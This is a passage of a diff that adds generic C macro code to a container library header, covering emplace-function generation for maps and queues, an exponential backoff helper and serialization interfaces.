+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY_OR_BOTH(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val) \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, val_oplist))                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY)   \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, M_GET_EMPLACE_TYPE key_oplist, M_GET_EMPLACE_TYPE val_oplist)
+/* We have a value EMPLACE_TYPE. We can generate value only or no emplace functions */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VALUE_OR_NONE(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val) \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, val_oplist))                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VAL, M_EAT)                                 \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_val, macro_key, macro_val, M_GET_EMPLACE_TYPE key_oplist, M_GET_EMPLACE_TYPE val_oplist)
+
+/* Generate KEY only emplace functions */
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_PARENTHESIS_P(key_emp_type))                                         \
+  (M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_KEY, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_KEY) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Test if it starts with LIST, in which case, multiple emplace methods have to be defined */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_KEYWORD_P(LIST, key_emp_type))                                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_KEY, M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_KEY) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Define & expand multiple emplace methods with the _key prefix */
+#define M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_MAP2(M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_KEY, (name, name_t, function_name, key_oplist, val_oplist, macro_key, key_emp_type, val_emp_type), M_KEYWORD_TO_VA_ARGS(LIST, key_emp_type))
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_KEY(trio, list) M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_KEY(M_ID trio, M_ID list)
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_KEY(...)       M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_KEY(__VA_ARGS__)
+/* Everything is now proprely expanded. Just call the original macro (with a properly expanded emplace type) */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_KEY(name, name_t, function_name, key_oplist, val_oplist, macro, key_emp_type, val_emp_type, sup_suffix, init_func, ...) \
+  macro(name, name_t, M_C3_EMPTY(function_name, _key, sup_suffix), key_oplist, val_oplist, init_func, val_init_func, (__VA_ARGS__), val_list )
+/* Define & expand one emplace method by using the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  macro_key(name, name_t, M_C(function_name, _key), key_oplist, val_oplist, INIT_WITH, none, key_emp_type, val_emp_type)
+
+/* Generate VALUE only emplace functions */
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_PARENTHESIS_P(val_emp_type))                                         \
+  (M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_VAL, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_VAL) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Test if it starts with LIST, in which case, multiple emplace methods have to be defined */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_KEYWORD_P(LIST, val_emp_type))                                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_VAL, M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_VAL) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Define & expand multiple emplace methods with the _val prefix */
+#define M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_MAP2(M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_VAL, (name, name_t, function_name, key_oplist, val_oplist, macro_val, key_emp_type, val_emp_type), M_KEYWORD_TO_VA_ARGS(LIST, val_emp_type))
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_VAL(trio, list) M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_VAL(M_ID trio, M_ID list)
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_VAL(...)       M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_VAL(__VA_ARGS__)
+/* Everything is now proprely expanded. Just call the original macro (with a properly expanded emplace type) */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_VAL(name, name_t, function_name, key_oplist, val_oplist, macro, key_emp_type, val_emp_type, sup_suffix, init_func, ...) \
+  macro(name, name_t, M_C3_EMPTY(function_name, _val, sup_suffix), key_oplist, val_oplist, key_init_func, init_func, val_list, (__VA_ARGS__) )
+/* Define & expand one emplace method by using the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  macro_val(name, name_t, M_C(function_name, _val), key_oplist, val_oplist, none, INIT_WITH, key_emp_type, val_emp_type)
+
+/* Generate KEY, VALUE & BOTH emplace functions */
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_B(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE(key_emp_type), M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE(val_emp_type) )
+/* Transform all supported user forms to the generic LIST form */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE(val_emp)                 \
+  M_IF(M_PARENTHESIS_P(val_emp))(M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_PARENTHESIS, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_B)(val_emp)
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_B(val_emp)               \
+  M_IF(M_KEYWORD_P(LIST, val_emp))(M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_LIST, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_SINGLE)(val_emp)
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_PARENTHESIS(val_emp) LIST( ( , INIT_WITH, M_ID val_emp) )
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_SINGLE(val_emp) LIST( ( , INIT_WITH, val_emp) )
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_LIST(val_emp) val_emp
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_B(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_CROSS_MAP2(M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH, (name, name_t, function_name, key_oplist, val_oplist, macro_both, key_emp_type, val_emp_type), ( M_KEYWORD_TO_VA_ARGS(LIST, key_emp_type) ), ( M_KEYWORD_TO_VA_ARGS(LIST, val_emp_type) ) )
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH(d, a, b) M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_B(M_ID d, a, b)
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_B(...)   M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_C(__VA_ARGS__)
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_C(name, name_t, function_name, key_oplist, val_oplist, macro_both, key_emp_type, val_emp_type, a, b) \
+  macro_both(name, name_t, M_C5_EMPTY(function_name, _key, M_RET_ARG1(M_ID a), _val, M_RET_ARG1(M_ID b) ), key_oplist, val_oplist, M_RET_ARG2(M_ID a), M_RET_ARG2(M_ID b), (M_TAIL_2 a), (M_TAIL_2 b) )
+
+
+/* Quick call to emplace def generation which transform into an
+  associative array emplace generation or queue generation
+  depending on the parameter isSet (= 0 or 1) */
+#define M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF(isSet, name, name_t, key_oplist, val_oplist) \
+  M_ID( M_C(M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF, isSet)(name, name_t, key_oplist, val_oplist) )
+#define M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF0(name, name_t, key_oplist, val_oplist) \
+  M_EMPLACE_ASS_ARRAY_DEF(name, name_t, _emplace, key_oplist, val_oplist, M_EMPLACE_ASS_ARRA1_BOTH_GENE, M_EMPLACE_ASS_ARRA1_KEY_GENE, M_EMPLACE_ASS_ARRA1_VAL_GENE) \
+  M_EMPLACE_QUEUE_DEF(name, name_t, _get_emplace, key_oplist, M_EMPLACE_GET_GENE)
+#define M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF1(name, name_t, key_oplist, val_oplist) \
+  M_EMPLACE_QUEUE_DEF(name, name_t, _emplace, key_oplist, M_EMPLACE_QUEUE_GENE) \
+  M_EMPLACE_QUEUE_DEF(name, name_t, _get_emplace, key_oplist, M_EMPLACE_GET_GENE)
+
+
+/* Definition of the emplace_back function for associative arrays.
+   It is defined here so that this definition is shared accross different
+   kind of associative array (RB-Tree, Hashmap, OA-Hashmap, B+Tree, ...)
+   This definition is far from being efficient but works for the current interface.
+   3 macros are needed: one when we emplace both key & value, one for key only
+   one for value only.
+*/
+#define M_EMPLACE_ASS_ARRA1_BOTH_GENE(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type) \
+  M_P(void, name, function_name, name_t v                                     \
+                M_EMPLACE_LIST_TYPE_VAR(akey, key_emplace_type)               \
+                M_EMPLACE_LIST_TYPE_VAR(aval, val_emplace_type)               \
+  ){                                                                          \
+    M_F(name, _key_ct) key;                                                   \
+    M_F(name, _value_ct) val;                                                 \
+    M_EMPLACE_CALL_FUNC(akey, key_init_func, key_oplist, key, key_emplace_type); \
+    M_DEFER( M_CALL_CLEAR(key_oplist, key) ) {                                \
+      M_EMPLACE_CALL_FUNC(aval, val_init_func, val_oplist, val, val_emplace_type); \
+      M_DEFER2( M_CALL_CLEAR(val_oplist, val)) {                              \
+        M_F(name, _set_at)M_R(v, key, val);                                   \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+
+#define M_EMPLACE_ASS_ARRA1_KEY_GENE(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type) \
+  M_P(void, name, function_name, name_t v                                     \
+                M_EMPLACE_LIST_TYPE_VAR(akey, key_emplace_type)               \
+                , M_F(name, _value_ct) const val                              \
+  ){                                                                          \
+    M_F(name, _key_ct) key;                                                   \
+    M_EMPLACE_CALL_FUNC(akey, key_init_func, key_oplist, key, key_emplace_type); \
+    M_DEFER ( M_CALL_CLEAR(key_oplist, key) ) {                               \
+      M_F(name, _set_at)M_R(v, key, val);                                     \
+    }                                                                         \
+  }                                                                           \
+
+#define M_EMPLACE_ASS_ARRA1_VAL_GENE(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type) \
+  M_P(void, name, function_name, name_t v, M_F(name, _key_ct) const key       \
+                M_EMPLACE_LIST_TYPE_VAR(aval, val_emplace_type)               \
+  ){                                                                          \
+    M_F(name, _value_ct) val;                                                 \
+    M_EMPLACE_CALL_FUNC(aval, val_init_func, val_oplist, val, val_emplace_type); \
+    M_DEFER( M_CALL_CLEAR(val_oplist, val)) {                                 \
+      M_F(name, _set_at)M_R(v, key, val);                                     \
+    }                                                                         \
+  }                                                                           \
+
+/* Definition of the emplace_back function for queue.
+   It is defined here so that this definition is shared accross different
+   kind of kind of queue.
+   This definition is far from being efficient but works for the current interface.
+*/
+#define M_EMPLACE_QUEUE_GENE(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v                                     \
+                M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) )                \
+  {                                                                           \
+    M_GET_TYPE oplist data;                                                   \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, data, exp_emplace_type);        \
+    M_DEFER( M_CALL_CLEAR(oplist, data) ) {                                   \
+      M_F(name, _push) M_R(v, data);                                          \
+    }                                                                         \
+  }
+
+/* Definition of the get_emplace function for set / map.
+   It is defined here so that this definition is shared accross different
+   kind of kind of queue.
+   This definition is far from being efficient but works for the current interface.
+*/
+#define M_EMPLACE_GET_GENE(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(M_F(name, _value_ct) *, name, function_name, name_t const v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_GET_TYPE oplist data;                                                   \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, data, exp_emplace_type);        \
+    M_F(name, _value_ct) *ret = M_F(name, _get)(v, data);                     \
+    M_CALL_CLEAR(oplist, data);                                               \
+    return ret;                                                               \
+  }
+
+
+/************************************************************/
+/******************* Exponential Backoff ********************/
+/************************************************************/
+
+/* Can be increased / decreased by user code if needed
+   to increase / decrease backoff of code */
+#ifndef M_USE_BACKOFF_MAX_COUNT
+#define M_USE_BACKOFF_MAX_COUNT 8
+#endif
+
+/* Exponential backoff object.
+ * An exponential backoff object will increase its wait time
+ * each time it is called with a pseudo random wait.
+ * It is used to avoid too many threads trying to grab some atomic
+ * variables at the same times (it makes the threads waits randomly).
+ * Initialization is cheap.
+ */
+typedef struct m_core_backoff_s {
+  unsigned int count;               // Number of times it has been run
+  unsigned int seed;                // Initial seed
+} m_core_backoff_ct[1];
+
+/* Initialize a backoff object. */
+M_INLINE void
+m_core_backoff_init(m_core_backoff_ct backoff)
+{
+  backoff->count = 0;
+  backoff->seed  = 0;
+}
+
+/* Reset the count of the backoff object */
+M_INLINE void
+m_core_backoff_reset(m_core_backoff_ct backoff)
+{
+  backoff->count = 0;
+}
+
+/* Wait a few nanoseconds using an active loop,
+ * generating a random number of nanosecond to wait,
+ * and increment the number of times wait has been called */
+M_INLINE void
+m_core_backoff_wait(m_core_backoff_ct backoff)
+{
+  if (backoff->count <= 2) {
+    backoff->count++;
+    if (backoff->count < 3) 
+      return;
+    // Use the C function rand to initialize its internal seed.
+    // It should be good enough for the purpose of the backoff.
+    // We only do it once if we already have performed several loops
+    // to avoid paying the cost of 'rand' for the small start.
+    backoff->seed  = (unsigned int) rand();
+  }
+  /* x is qualified as volatile to avoid being optimized away
+     by the compiler in the active sleep loop */
+  volatile int x = 0;
+  /* Cheap but fast pseudo random. */
+  backoff->seed = backoff->seed * 34721 + 17449;
+  const unsigned int mask = (1U << backoff->count) -1;
+  const unsigned int count = mask & (backoff->seed >> 8);
+  /* Active sleep for 'count' times */
+  for(unsigned int i = 0; i <= count; i++)
+    x = 0;
+  (void) x;
+  /* Increment count for next step if needed */
+  backoff->count += (backoff->count < M_USE_BACKOFF_MAX_COUNT);
+}
+
+/* Clear the backoff object */
+M_INLINE void
+m_core_backoff_clear(m_core_backoff_ct backoff)
+{
+  // Nothing to do
+  (void) backoff;
+}
+
+
+
+/************************************************************/
+/********************** Serialization ***********************/
+/************************************************************/
+
+/* Forward declaration of m_string_t defined in m-string.h */
+struct m_string_s;
+
+/* Serialization Return code:
+ * - OK & done (object is fully parsed),
+ * - OK & continue parsing (object is partially parsed)
+ * - Fail parsing
+ * - Fail parsing with given arguments (give explicit size) but a retry will succeed.
+ */
+typedef enum m_serial_return_code_e {
+  M_SERIAL_OK_DONE = 0, M_SERIAL_OK_CONTINUE = 1, M_SERIAL_FAIL = 2, M_SERIAL_FAIL_RETRY = 4
+} m_serial_return_code_t;
+
+#if defined(__cplusplus)
+// C++ doesn't allow mixing enum and integer, so we provided overloaded operators.
+inline void operator|(m_serial_return_code_t &a, m_serial_return_code_t b)
+{
+  a = static_cast<m_serial_return_code_t>(static_cast<int>(a) | static_cast<int>(b));
+}
+inline m_serial_return_code_t operator|=(m_serial_return_code_t a, m_serial_return_code_t b)
+{
+  return static_cast<m_serial_return_code_t>(static_cast<int>(a) | static_cast<int>(b));
+}
+inline m_serial_return_code_t operator&(m_serial_return_code_t a, m_serial_return_code_t b)
+{
+  return static_cast<m_serial_return_code_t>(static_cast<int>(a) & static_cast<int>(b));
+}
+#endif
+
+/* Maximum data size of a serializator structure
+ * Can be overloaded by user */
+#ifndef M_USE_SERIAL_MAX_DATA_SIZE
+#define M_USE_SERIAL_MAX_DATA_SIZE 4
+#endif
+
+/* Different types of types that can be stored in a serial object to represent it:
+ * a boolean
+ * different kind of integers
+ * different kind of floats
+ * a size
+ * a pointer to something.
+ * a serial return code
+ */
+typedef union m_serial_ll_u {
+  bool                   b;
+  char                   c;
+  int                    i;
+  long                   l;
+  long long              ll;
+  float                  f;
+  double                 d;
+  long double            e;
+  size_t                 s;
+  uintptr_t              u;
+  void                  *p;
+  const char            *cstr;
+  m_serial_return_code_t r;
+} m_serial_ll_ct;
+
+/* Object to handle the construction of a serial write/read of an object
+   that needs multiple calls (array, map, ...)
+   It is common to all calls to the same object.
+   It shall be used as a local state of the object being parsed */
+typedef struct m_serial_local_s {
+  m_serial_ll_ct data[M_USE_SERIAL_MAX_DATA_SIZE];
+} m_serial_local_t[1];
+
+/* Object to handle the generic serial read of an object:
+ *  - m_interface is the pointer to the constant interface object that has all callbacks
+ *  - tmp is temporary variable used localy by the non recursive serializer (not to be used by serializer)
+ *  - data is user defined data to use by the serialization object as it wants
+ * NOTE: 'interface' word cannot be used as a field name as some system headers
+ * define it as a macro.
+ * */
+typedef struct m_serial_read_s {
+  const struct m_serial_read_interface_s *m_interface;
+  m_serial_ll_ct                          tmp;
+  m_serial_ll_ct                          data[M_USE_SERIAL_MAX_DATA_SIZE];
+} m_serial_read_t[1];
+
+/* Interface that has to be exported by the serial read object.
+ * All function pointers shall be not null.
+ */
+typedef struct m_serial_read_interface_s {
+  m_serial_return_code_t (*read_boolean)(m_serial_read_t,bool *);
+  m_serial_return_code_t (*read_integer)(m_serial_read_t, long long *, const size_t size_of_type);
+  m_serial_return_code_t (*read_float)(m_serial_read_t, long double *, const size_t size_of_type);
+  m_serial_return_code_t (*read_string)(M_P_EXPAND m_serial_read_t, struct m_string_s *);
+  m_serial_return_code_t (*read_array_start)(m_serial_local_t, m_serial_read_t, size_t *);
+  m_serial_return_code_t (*read_array_next)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_map_start)(m_serial_local_t, m_serial_read_t, size_t *);
+  m_serial_return_code_t (*read_map_value)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_map_next)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_tuple_start)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_tuple_id)(m_serial_local_t, m_serial_read_t, const char *const field_name [], const int max, int *);
+  m_serial_return_code_t (*read_variant_start)(m_serial_local_t, m_serial_read_t, const char *const field_name[], const int max, int*);
+  m_serial_return_code_t (*read_variant_end)(m_serial_local_t, m_serial_read_t);
+} m_serial_read_interface_t;
+
+
+/* Object to handle the generic serial write of an object:
+ *  - m_interface is the pointer to the constant interface object that has all callbacks
+ *  - tmp is temporary variable used localy by the non recursive serializer
+ *  - data is user defined data to use by the serialization object as it wants
+ * NOTE: 'interface' word cannot be used as a field name as some system headers
+ * define it as a macro.
+ * */
+typedef struct m_serial_write_s {
+  const struct m_serial_write_interface_s *m_interface;
+  m_serial_ll_ct                           tmp;
+  m_serial_ll_ct                           data[M_USE_SERIAL_MAX_DATA_SIZE];
+} m_serial_write_t[1];
+
+/* Interface that has to be exported by the serial write object.
+ * All function pointers shall be not null.
+ */
+typedef struct m_serial_write_interface_s {
+  m_serial_return_code_t (*write_boolean)(M_P_EXPAND m_serial_write_t,const bool data);
+  m_serial_return_code_t (*write_integer)(M_P_EXPAND m_serial_write_t,const long long data, const size_t size_of_type);
+  m_serial_return_code_t (*write_float)(M_P_EXPAND m_serial_write_t, const long double data, const size_t size_of_type);
+  m_serial_return_code_t (*write_string)(M_P_EXPAND m_serial_write_t,const char data[], size_t len);
+  m_serial_return_code_t (*write_array_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const size_t number_of_elements);
+  m_serial_return_code_t (*write_array_next)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_array_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_map_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const size_t number_of_elements);
+  m_serial_return_code_t (*write_map_value)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_map_next)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_map_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_tuple_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_tuple_id)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const char * const field_name[], const int max, const int index);
+  m_serial_return_code_t (*write_tuple_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_variant_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const char * const field_name[], const int max, const int index);
+  m_serial_return_code_t (*write_variant_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+} m_serial_write_interface_t;
+
+
+/* Convert a C default variale (bool, integer, float) to a Serialized data
+ * by calling the serializer interface associated to the type of the object.
+ * NOTE: Supports only C11.
+*/
+#define M_OUT_SERIAL_DEFAULT_ARG(serial, x)                                   \
+  _Generic(((void)0,(x)),                                                     \
+           bool: (serial)->m_interface->write_boolean M_R(serial, M_AS_TYPE(bool, (x))), \
+           char: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(char,(x)), sizeof (x)), \
+           signed char: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(signed char,(x)), sizeof (x)), \
+           unsigned char: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned char,(x)), sizeof (x)), \
+           signed short: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(signed short,(x)), sizeof (x)), \
+           unsigned short: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned short,(x)), sizeof (x)), \
+           signed int: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(signed int,(x)), sizeof (x)), \
+           unsigned int: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned int,(x)), sizeof (x)), \
+           long int: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(long,(x)), sizeof (x)), \
+           unsigned long int: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned long,(x)), sizeof (x)), \
+           long long int: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(long long,(x)), sizeof (x)), \
+           unsigned long long int: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned long long,(x)), sizeof (x)), \
+           float: (serial)->m_interface->write_float M_R(serial, M_AS_TYPE(float,(x)), sizeof (x)), \
+           double: (serial)->m_interface->write_float M_R(serial, M_AS_TYPE(double,(x)), sizeof (x)), \
+           long double: (serial)->m_interface->write_float M_R(serial, M_AS_TYPE(long double,(x)), sizeof (x)), \
+           const char *: (serial)->m_interface->write_string M_R(serial, M_AS_TYPE(const char *,(x)), m_core_out_serial_strlen(M_AS_TYPE(const char *,(x))) ), \
+           char *: (serial)->m_interface->write_string M_R(serial, M_AS_TYPE(char *,(x)), m_core_out_serial_strlen(M_AS_TYPE(const char *,(x))) ), \
+           const void *: M_SERIAL_FAIL /* unsupported */,                     \
+           void *: M_SERIAL_FAIL /* unsupported */)
+
+/* Convert a Serialized data to a C default variale (bool, integer, float)
+ * by calling the serializer interface associated to the type of the object.
+ * NOTE: Supports only C11.
+*/
+#define M_IN_SERIAL_DEFAULT_ARG(xptr, serial)                                 \
+  _Generic(((void)0,*(xptr)),                                                 \
+           bool: (serial)->m_interface->read_boolean(serial, M_AS_TYPE(bool *, xptr)), \
+           char: m_core_in_serial_char(serial, M_AS_TYPE(char*,xptr)),        \
+           signed char: m_core_in_serial_schar(serial, M_AS_TYPE(signed char*,xptr)), \
+           unsigned char: m_core_in_serial_uchar(serial, M_AS_TYPE(unsigned char*,xptr)), \
+           signed short: m_core_in_serial_sshort(serial, M_AS_TYPE(signed short*,xptr)), \
+           unsigned short: m_core_in_serial_ushort(serial, M_AS_TYPE(unsigned short*,xptr)), \
+           signed int: m_core_in_serial_sint(serial, M_AS_TYPE(signed int*,xptr)), \
+           unsigned int: m_core_in_serial_uint(serial, M_AS_TYPE(unsigned int*,xptr)), \
+           long int: m_core_in_serial_slong(serial, M_AS_TYPE(long*,xptr)),   \
+           unsigned long int: m_core_in_serial_ulong(serial, M_AS_TYPE(unsigned long*,xptr)), \
+           long long int: m_core_in_serial_sllong(serial, M_AS_TYPE(long long*,xptr)), \
+           unsigned long long int: m_core_in_serial_ullong(serial, M_AS_TYPE(unsigned long long*,xptr)), \
+           float: m_core_in_serial_float(serial, M_AS_TYPE(float*,xptr)),     \
+           double: m_core_in_serial_double(serial, M_AS_TYPE(double*,xptr)),  \
+           long double: m_core_in_serial_ldouble(serial, M_AS_TYPE(long double*,xptr)), \
+           const char *: M_SERIAL_FAIL /* unsupported (size unknown) */,      \
+           char *: M_SERIAL_FAIL /* unsupported  (size unknown) */,           \
+           const void *: M_SERIAL_FAIL /* unsupported */,                     \
+           void *: M_SERIAL_FAIL /* unsupported */)
+
+/* Helper functions for M_IN_SERIAL_DEFAULT_ARG
+   as we need to define a function per supported type in the generic expression */
+#define M_IN_SERIAL_DEFAULT_TYPE_DEF(name, type, func, promoted_type)         \
+  M_INLINE m_serial_return_code_t                                             \
+  name (m_serial_read_t serial, type *ptr)                                    \
+  {                                                                           \
+    promoted_type i;                                                          \
+    m_serial_return_code_t r;                                                 \
+    r = serial->m_interface->func(serial, &i, sizeof (type));                 \
+    *ptr = (type) i;                                                          \
+    return r;                                                                 \
+  }
+
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_char, char, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_schar, signed char, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_uchar, unsigned char, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_sshort, signed short, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ushort, unsigned short, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_sint, signed int, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_uint, unsigned int, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_slong, signed long, read_integer, long long)
